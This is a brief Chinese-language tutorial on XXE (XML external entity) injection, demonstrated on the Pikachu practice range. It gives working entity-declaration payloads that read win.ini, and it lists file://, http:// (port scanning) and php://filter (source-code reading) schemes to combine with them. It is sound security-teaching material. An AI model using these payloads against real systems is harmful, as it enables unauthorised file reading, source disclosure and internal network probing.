1.简述
XXE是外部实体注入漏洞,用户通过输入XML实体内容,编写代码时有没有进行过滤,导致的漏洞。
利用和查看XXE漏洞的方法
1.直接通过DTD外部实体声明
<!DOCTYPE 根元素 SYSTEM "文件名">
<?xml version ="1.0"?><!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://Windows//win.ini" >]>
<x>&f;</x>
2.用BP抓包进行修改查看是否存在XXE漏洞
这是有回显的
2.常见的三种协议
file:///路径/file.ext #读取文件
http://xxx.com:80 #端口扫描
php://filter/read=convert.base64-encode/resource=文件.php #读取源代码
3.皮卡丘靶场演示
1.利用简单的XML代码找到XXE漏洞
2.利用XXE漏洞读取其他文件
利用构建外部实体
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">
]>
<a>&b;</a>
与上文的常见的三种协议相结合,可以达到你的目的。